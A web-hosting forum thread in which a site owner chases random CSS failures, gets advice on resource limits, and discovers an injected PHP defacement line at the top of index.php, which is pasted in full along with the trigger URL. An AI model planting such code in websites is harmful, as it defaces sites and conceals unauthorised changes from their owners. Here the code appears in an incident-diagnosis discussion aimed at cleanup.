Problems on CSS loading for xo4

[eupx10ho]

Hello,

we have the same website on 2 different servers: eup2.x10host.com on xo6 and eup.x10host on xo4.
One is loading perfectly (xo6), while the other (unfortunately the production one) has this issue:
time by time some pages do not load the CSS correctly - or so I think - because the menu is not rendered, or the background is not loaded or the font is not the original one.. usually, if we refresh everything displays correctly, but we cannot ask our visitors to reload pages, of course.
We checked the configuration.php and the .htaccess but the first is different only for the DB info, while the latter is exactly the same.
Is it because xo4 is much slower than xo6 or there's something more?
Could you please have a check and tell us if we can do something to fix this?

thanks in advance
e-Up

 

[leafypiggy]

They are both loading the same on my end: https://labs.neilhanlon.com/ss/2015-04-16_1351.png https://labs.neilhanlon.com/ss/2015-04-16_1351_001.png

Are you still experiencing this issue? Both of the servers are configured in exactly the same way.

 

[eupx10ho]

yes, if you navigate the menu to e-tools, Automagic, SaaS or others, after a while some will fail, look at the attachment for example

 

[eupx10ho]

just captured this other one from www.e-up.pro (xo4)- the background for menu has not been loaded this time.. the problem is every time there is a different issue for a different page, so it's completely random.. it's driving us crazy..

 

[Dead-i]

Hi eupx10ho,

It appears this is happening because your account is sometimes hitting your Entry Processes limit when your site is loaded. I was able to replicate the issue, and found that some of the CSS files were not loaded due to a 508 error code. This usually indicates that you have temporarily hit your resource limit.

Thank you,

 

[eupx10ho]

Hi Dead-i,

thanks for the reply. Are entry processes related to visits? Because we have Analytics and we don't get more that 20 visits per day, except some fishing attacks by the infamous Russian Samora region (but again, it should be just a hacking of Google Analytics, not actual website visits). Is this kind of amount enough to cause issues?

thank you

 

[bdistler]

Are entry processes related to visits?

The short answer is - yes
BUT
keep in mind an "Entry Process" should take a fraction of a second to complete - therefore most people get it confused with how many visitors they can have on their website - A limit of 5 'Entry Process' does not mean only 5 people can be on your website at once - because the likelihood of all 5 people hitting your website's server at the exact same time (very small part of a second) would never happen - If you have little traffic to your website but are constantly at the limit of 'Entry Processes' - it could mean something is wrong with your scripts and they (the scripts) are active longer then they should be

x10hosting has found - in almost all cases - that hitting your account's 'Entry Processes' limit - stems from:
1. Out of date scripts
2. Excessive plugins, themes, addons
3. Poorly coded plugins, themes, addons
4. Not taking security measures such as secure wp-login\xml-rpc so bots drive up resource usage
5. Not keeping a database cleaned up, a forum or Wordpress blog with 50,000 spam users will use a lot of CPU on any user processing
6. Crons that do intense database or other processing

 

[eupx10ho]

The short answer is - yes
BUT
keep in mind an "Entry Process" should take a fraction of a second to complete - therefore most people get it confused with how many visitors they can have on their website - A limit of 5 'Entry Process' does not mean only 5 people can be on your website at once - because the likelihood of all 5 people hitting your website's server at the exact same time (very small part of a second) would never happen - If you have little traffic to your website but are constantly at the limit of 'Entry Processes' - it could mean something is wrong with your scripts and they (the scripts) are active longer then they should be

x10hosting has found - in almost all cases - that hitting your account's 'Entry Processes' limit - stems from:
1. Out of date scripts
2. Excessive plugins, themes, addons
3. Poorly coded plugins, themes, addons
4. Not taking security measures such as secure wp-login\xml-rpc so bots drive up resource usage
5. Not keeping a database cleaned up, a forum or Wordpress blog with 50,000 spam users will use a lot of CPU on any user processing
6. Crons that do intense database or other processing

Hi bdistler,

thanks for you answer. The strange thing is that the x06 one is almost identical website with same plug-ins etc, therefore I would expect the 2 websites to behave identically. But we will nail it down and check if there is any module/plug-in that is not on x06. I actually got a very bad experience with Incapsula service.. now trying CloudFlare. Hope they help rather than creating issues.

 

[bdistler]

The strange thing is that the x06 one is almost identical website with same plug-ins etc, therefore I would expect the 2 websites to behave identically.

the site at URL [ http://eup2.x10host.com ] is not the same as URL [ http://eup.x10host.com ]

URL [ eup.x10host.com ] makes 91 'requests' and has a size of 3.9 MiB
see --> [ http://tools.pingdom.com/fpt/#!/embyHL/eup.x10host.com ]

URL [ eup2.x10host.com ] makes 119 'requests' and has a size of 7.7 MiB
see --> [ http://tools.pingdom.com/fpt/#!/erWCrS/eup2.x10host.com ]

 

[AngusThermopyle]

It's not the number of requests.

It is the type of requests.

The CSS files causing the problem are not .css files. They are .php files. I count at least 5 of them.

You call index.php and it calls at least 5 more .php files. If your .htaccess rewrites some regular .css file names to .php files, then that will surely put you over the limit for Entry Processes.

Not sure why there is a difference between servers.

 

[bdistler]

It's not the number of requests.

my point is - the sites are not as the OP says "...the x06 one is almost identical website..."
(which might by why on one server there is no issue - and on the other there are issues)

I did not address what was causing the issues on that server

 

[eupx10ho]

Hello,
thanks a lot everyone for your analysis.
Very strange because as I mentioned the .htaccess is exactly the same. We installed a couple of additional plug-ins but yesterday evening we unistalled them. We thought immediately the .htacces could have been the issue, but considering the other website did not give us the same problem we did not pursue this. Could it be that the second website, being the sponsored one, has suffered/is suffering some kind of attack?
thanks

 

[eupx10ho]

wooops... my index.php has this line at the beginning... sounds like HACKED...

<?php error_reporting(0); $r=$_SERVER["HTTP_USER_AGENT"];if((preg_match("/MSIE 9.0; Windows NT 6.0; Trident\/5.0/i",$r)) OR(isset($_GET["z"]))){echo "<title>Hacked by d3b~X</title><center><div id=q>Gantengers Crew<br><font size=2>SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php <style>body{overflow:hidden;background-color:black}#q{font:40px impact;color:white;position:absolute;left:0;right:0;top:43%}";exit;}?>

 

[caftpx10]

Congratulations, your site has been defaced. Looks like the "hacker" doesn't like IE, and also gave an option for others to see the page. Check it out: http://eup2.x10host.com/?z

Jokes aside, it looks like someone managed to upload a file to your account.
Did you give anyone the password to access the site (in any way)? Is your password considered strong? Did your site have any uploader?

 

[eupx10ho]

we simply inactivated ftp, but I remember someone was trying to exploit in the past a bug in a module so we inactivated it and uninstalled it as well. Probably he got somewhere but not entirely. I am not sure...

 

[caftpx10]

It looks like they were kind enough to not wipe out the whole page and replace it with their defaced page. All you have to do is simply remove that code!
I would really be searching for any vulnerabilities for a module along with its version so that you know if it's worth putting it up and patching it.

 

[eupx10ho]

It looks like they were kind enough to not wipe out the whole page and replace it with their defaced page. All you have to do is simply remove that code!
I would really be searching for any vulnerabilities for a module along with its version so that you know if it's worth putting it up and patching it.

Hi, yep, that's the first thing I did. I simply took the original index.php file and replaced the other one. Actually now I am trying to see if there is any other thing around that does not look good. I am trying the AI-BOLIT, do you know it? it seems I cannot make it work..

 

[caftpx10]

You mean http://revisium.com/aibo/?
It seems to be a scanner.
What step are you currently stuck on?

 

[eupx10ho]

You mean http://revisium.com/aibo/?
It seems to be a scanner.
What step are you currently stuck on?

no, I actually mean this: http://revisium.com/ai/ it's a php script

 

[eupx10ho]

no, I actually mean this: http://revisium.com/ai/ it's a php script

sorry, it's the same